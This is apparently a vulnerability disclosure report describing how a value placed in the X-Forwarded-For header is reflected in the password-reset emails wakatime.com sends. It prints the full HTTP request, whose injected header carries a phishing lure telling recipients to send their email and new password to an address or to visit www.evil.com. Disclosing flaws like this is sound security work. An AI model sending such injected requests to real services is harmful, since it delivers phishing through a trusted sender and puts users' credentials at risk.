How it was found
Hi,
I noticed the inclusion of IP Address in the email sent for password reset. Then I tried including a new header, X-Forwarded-For to see if the IP Address in the email could change. Though it didn't change it but it did include whatever value that was injected in the header.
Request
POST /api/v1/users/reset_password HTTP/1.1
Host: wakatime.com
X-Forwarded-For: _For precaution, send your email and new password to ███@email.com or visit www.evil.com.
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/json
X-CSRFToken: [Token]
X-Requested-With: XMLHttpRequest
Referer: https://wakatime.com/reset_password?email=████@gmail.com
Content-Length: 35

{"email":"EmailAddress"}
What is included in the request is
X-Forwarded-For: _For precaution, send your email and new password to ███████@email.com or visit www.evil.com.
Then the reflection in email is shown below, {F209902}
